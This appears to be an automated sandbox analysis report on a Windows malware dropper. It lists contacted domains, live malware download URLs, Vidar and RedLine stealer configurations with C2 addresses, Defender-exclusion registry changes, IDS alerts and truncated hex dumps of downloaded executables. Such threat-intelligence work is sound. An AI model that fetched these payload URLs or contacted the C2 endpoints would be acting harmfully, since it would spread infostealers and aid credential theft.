f.123654987.xyz	37.221.125.202	true
ssl.bingadsedgeextension-prod-eastus.azurewebsites.net	40.71.99.188	true
fp2e7a.wpc.phicdn.net	192.229.211.108	true
sun6-20.userapi.com	95.142.206.0	true
bg.microsoft.map.fastly.net	199.232.210.172	true
api.myip.com	172.67.75.163	true
carthewasher.net	172.67.161.113	true
steamcommunity.com	104.105.90.131	true
pofix.red	186.10.35.108	true
dod.fastbutters.com	104.21.49.118	true
ipinfo.io	34.117.186.192	true
cheremushki.net	172.67.172.104	true
zanzibarpivo.com	172.67.144.181	true
www.google.com	142.251.111.104	true
triedchicken.net	172.67.180.119	true
sun6-23.userapi.com	95.142.206.3	true
db-ip.com	172.67.75.166	true
vk.com	93.186.225.194	true
iplis.ru	172.67.147.32	true
ntp.msn.com	unknown	unknown
bzib.nelreports.net	unknown	unknown
browser.events.data.msn.com	unknown	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.233.132.139/rumba/buben.exe	false	Avira URL Cloud: phishing	unknown
https://sun6-21.userapi.com/c237231/u5294803/docs/d14/fab319a9eaa9/file.bmp?extra=XekPvLwajf3zjaY5buJAe3HnfkyeicpSttiDxaJzdLoB5YHmFFoUME6QuSgS26MeSPNwYYaTqVwUYy3Yw-9Wvle-70JE1-Pdb5-fcQuxBsuGV0qmjloWPkyYmuqS-f4G1K17ZAtAoLg	false		high
https://vk.com/doc5294803_669152103?hash=pkblRovv4LMe1R6iuxvW4DDThffFR8gbvrqSTKlz4BX&dl=OZ0YEqh4RYRcb5Su2JqOKNJMaEcBe7Ll19G2uM9kyeX&api=1&no_preview=1#mene	false		high
https://monoblocked.com/525403/setup.exe	false	Avira URL Cloud: malware	unknown
https://db-ip.com/demo/home.php?s=149.18.24.96	false		high
https://api.myip.com/	false		high
http://5.42.66.10/ext/adsupressor.jpeg	true	Avira URL Cloud: safe	unknown

AV Detection

Antivirus detection for URL or domain

Source: http://193.233.132.167/cost/lenin.exe	URL Reputation: Label: malware
Source: http://193.233.132.139/rumba/buben.exe	Avira URL Cloud: Label: phishing
Source: http://193.233.132.167/cost/go.exe0.1	Avira URL Cloud: Label: phishing
Source: http://193.233.132.167/cost/lenin.exe192.168.06	Avira URL Cloud: Label: phishing
Source: http://147.45.47.102:57893/hera/amadka.exe	Avira URL Cloud: Label: malware
Source: https://monoblocked.com/525403/setup.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cad54ba5b01423b1af8ec10ab5719d97[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1357328
Source: C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe	Avira: detection malicious, Label: TR/Miner.mdqej
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\123p[1].exe	Avira: detection malicious, Label: TR/Miner.mdqej
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\7725eaa6592c80f8124e769b4e8a07f7[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1357328
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\060[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1332570
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Avira: detection malicious, Label: HEUR/AGEN.1306558
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Avira: detection malicious, Label: HEUR/AGEN.1306558
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\buben[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1306558

Found malware configuration

Source: 0000001E.00000002.3391212061.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199680449169"], "Botnet": "03cea2609023d13f145ac6c5dc897112", "Version": "9.3"}
Source: 25.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: RedLine {"C2 url": ["5.42.65.96:28380"], "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Default15_big[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Retailer_prog[1].exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\7725eaa6592c80f8124e769b4e8a07f7[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cad54ba5b01423b1af8ec10ab5719d97[1].exe	ReversingLabs: Detection: 35%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\123p[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Space1.9_menu[1].exe	ReversingLabs: Detection: 35%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\timeSync[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-E8REQ.tmp	ReversingLabs: Detection: 51%
Source: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\libeay32.dll (copy)	ReversingLabs: Detection: 51%
Source: C:\Users\user\AppData\Local\Temp\7zS933D.tmp\Install.exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	ReversingLabs: Detection: 91%

Multi AV Scanner detection for submitted file

Source: tZvjMg3Hw9.exe

ReversingLabs: Detection: 39%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cad54ba5b01423b1af8ec10ab5719d97[1].exe	Joe Sandbox ML: detected
Source: C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\123p[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\timeSync[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\setup[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\7725eaa6592c80f8124e769b4e8a07f7[1].exe	Joe Sandbox ML: detected

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49772 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 172.67.75.163:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.19:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.119:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.144.181:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.118:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.113:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.172.104:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.130.41.108:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 37.221.125.202:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.186.225.194:443 -> 192.168.2.5:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.186.225.194:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.3:443 -> 192.168.2.5:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.3:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.0:443 -> 192.168.2.5:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.1:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.105.90.131:443 -> 192.168.2.5:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.8.59:443 -> 192.168.2.5:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.5:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49957 version: TLS 1.2

Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\x64\Release\XBundlerTlsHelper.pdb source: tZvjMg3Hw9.exe
Source:	Binary string: C:\Users\weckb\source\repos\Hider\Hider\obj\x64\Release\Hider.pdb source: TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000000.2584124257.00000268C10B2000.00000002.00000001.01000000.00000014.sdmp, TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000002.3348354834.00000268C14F0000.00000002.00000001.00040000.00000014.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.2931931967.000000000435C000.00000004.00000800.00020000.00000000.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.3350307829.0000000005690000.00000004.08000000.00040000.00000000.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.3370248970.000000006A564000.00000002.00000001.01000000.00000023.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.2931931967.0000000003C91000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3397323684.000000000059C000.00000040.00000001.01000000.00000007.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3396296083.0000000000566000.00000040.00000001.01000000.0000000A.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000001.2688844184.0000000000566000.00000040.00000001.01000000.0000000A.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3397729978.0000000000566000.00000040.00000001.01000000.0000000F.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000000.2592125898.0000000000DF6000.00000080.00000001.01000000.00000013.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3398970212.0000000000DF6000.00000080.00000001.01000000.00000013.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: tZvjMg3Hw9.exe, 00000000.00000000.2080092625.0000000140537000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: tZvjMg3Hw9.exe, 00000000.00000000.2080092625.0000000140537000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Users\kkelsch\Documents\PushNotifications\PushSharp\PushSharp-master\PushSharp.Core\obj\Debug\PushSharp.Core.pdb source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.3350307829.000000000574A000.00000004.08000000.00040000.00000000.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.2931931967.000000000428D000.00000004.00000800.00020000.00000000.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.2931931967.0000000004418000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\Program Files\Microsoft Enterprise Library January 2006\src\Data\obj\Debug\Microsoft.Practices.EnterpriseLibrary.Data.pdb source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000612000.00000002.00000001.01000000.00000008.sdmp

Change of critical system settings

Adds extensions / path to Windows Defender exclusion list (Registry)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions Exclusions_Extensions	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions Exclusions_Extensions
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions exe

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe

Code function: 10_2_00CF46C6 FindFirstFileExW,

10_2_00CF46C6

Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\__data__\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2049837 ET TROJAN Suspected PrivateLoader Activity (POST) 192.168.2.5:49710 -> 5.42.66.10:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199680449169
Source: Malware configuration extractor	URLs: 5.42.65.96:28380

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 147.45.47.93 ports 0,5,7,8,58709,9

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: UsAeOiVczGq_p4QRa8zeFder.exe.0.dr
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: yXgtFZ7XB0cQTCLf83XR0xIo.exe.0.dr

Performs DNS queries to domains with low reputation

Source:

DNS query: f.123654987.xyz

Detected TCP or UDP traffic on non-standard ports

Source: global traffic	TCP traffic: 192.168.2.5:49783 -> 95.217.245.42:9000
Source: global traffic	TCP traffic: 192.168.2.5:49786 -> 5.42.65.96:28380
Source: global traffic	TCP traffic: 192.168.2.5:49796 -> 147.45.47.93:58709
Source: global traffic	TCP traffic: 192.168.2.5:49883 -> 193.233.132.226:50500
Source: global traffic	TCP traffic: 192.168.2.5:49953 -> 193.233.132.253:50500

Downloads executable code via HTTP

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 01 May 2024 18:26:13 GMTServer: Apache/2.4.52 (Ubuntu)Content-Description: File TransferContent-Disposition: attachment; filename=timeSync.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicContent-Length: 295936Content-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e5 c3 78 b2 a1 a2 16 e1 a1 a2 16 e1 a1 a2 16 e1 bf f0 83 e1 b0 a2 16 e1 bf f0 95 e1 c4 a2 16 e1 bf f0 92 e1 8b a2 16 e1 86 64 6d e1 a4 a2 16 e1 a1 a2 17 e1 ce a2 16 e1 bf f0 9c e1 a0 a2 16 e1 bf f0 82 e1 a0 a2 16 e1 bf f0 87 e1 a0 a2 16 e1 52 69 63 68 a1 a2 16 e1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 8d 26 6a 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 a8 00 00 00 0c 70 02 00 00 00 00 1d 17 00 00 00 10 00 00 00 c0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 60 70 02 00 04 00 00 d9 8c 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bc f0 02 00 3c 00 00 00 00 e0 6e 02 20 75 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 84 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 73 a7 00 00 00 10 00 00 00 a8 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 8a 39 02 00 00 c0 00 00 00 3a 02 00 00 ac 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 d3 6b 02 00 00 03 00 00 28 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 75 01 00 00 e0 6e 02 00 76 01 00 00 0e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 01 May 2024 18:26:13 GMTContent-Type: application/octet-streamContent-Length: 3181568Last-Modified: Wed, 01 May 2024 16:49:15 GMTConnection: keep-aliveETag: "6632728b-308c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6a 99 1d e4 2e f8 73 b7 2e f8 73 b7 2e f8 73 b7 65 80 70 b6 25 f8 73 b7 65 80 76 b6 ee f8 73 b7 65 80 74 b6 2f f8 73 b7 ec 79 8e b7 2a f8 73 b7 ec 79 77 b6 3d f8 73 b7 ec 79 70 b6 34 f8 73 b7 ec 79 76 b6 75 f8 73 b7 65 80 77 b6 36 f8 73 b7 65 80 75 b6 2f f8 73 b7 65 80 72 b6 35 f8 73 b7 2e f8 72 b7 0e f9 73 b7 dd 7a 7a b6 32 f8 73 b7 dd 7a 8c b7 2f f8 73 b7 2e f8 e4 b7 2f f8 73 b7 dd 7a 71 b6 2f f8 73 b7 52 69 63 68 2e f8 73 b7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 db 02 32 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 8c 15 00 00 0e 04 00 00 00 00 00 5c f6 b4 00 00 10 00 00 00 a0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 b5 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 00 00 00 00 00 00 10 00 00 00 50 20 93 00 09 0d 00 00 5c 2d 93 00 b0 03 00 00 00 c0 19 00 a0 af 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 20 93 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 93 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 15 00 00 10 00 00 00 2a 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 02 00 00 a0 15 00 00 02 01 00 00 2e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 20 18 00 00 08 00 00 00 30 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 b0 00 00 00 70 18 00 00 00 00 00 00 38 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 a0 00 00 00 20 19 00 00 60 00 00 00 38 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 b0 00 00 00 c0 19 00 00 b0 00 00 00 98 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 80 78 00 00 70 1a 00 00 28 03 00 00 48 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 20 22 00 00 f0 92 00 00 1c 22 00 00 70 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 01 May 2024 18:26:13 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12X-Powered-By: PHP/8.2.12Content-Description: File TransferContent-Disposition: attachment; filename=Space1.9_menu.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicContent-Length: 4007056Content-Type: application/octet-streamData Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 e7 e6 0f 66 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 27 00 34 11 00 00 d0 04 00 00 00 00 00 94 33 9b 00 00 10 00 00 00 50 11 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 9b 00 00 02 00 00 d4 41 3d 00 02 00 00 80 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 30 9b 00 4c 00 00 00 4c 30 9b 00 48 03 00 00 00 40 9b 00 64 57 00 00 00 00 00 00 00 00 00 00 00 aa 3c 00 90 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 9b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 31 9b 00 68 00 00 00 24 86 6d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 20 9b 00 00 10 00 00 00 40 3c 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 4d 50 52 45 53 53 32 20 0f 00 00 00 30 9b 00 00 10 00 00 00 42 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 72 73 72 63 00 00 00 64 57 00 00 00 40 9b 00 00 58 00 00 00 52 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 32 2e 31 39 b2 09 b4 3f 3c 00 20 05 00 00 6f fd ff ff a3 b7 ff 47 3e 48 15 72 39 61 51 b8 92 28 e6 a3 86 07 f9 ee e4 1e 82 d3 2f c5 3a 3c 01 4b b1 7e c9 8a 8a 4d 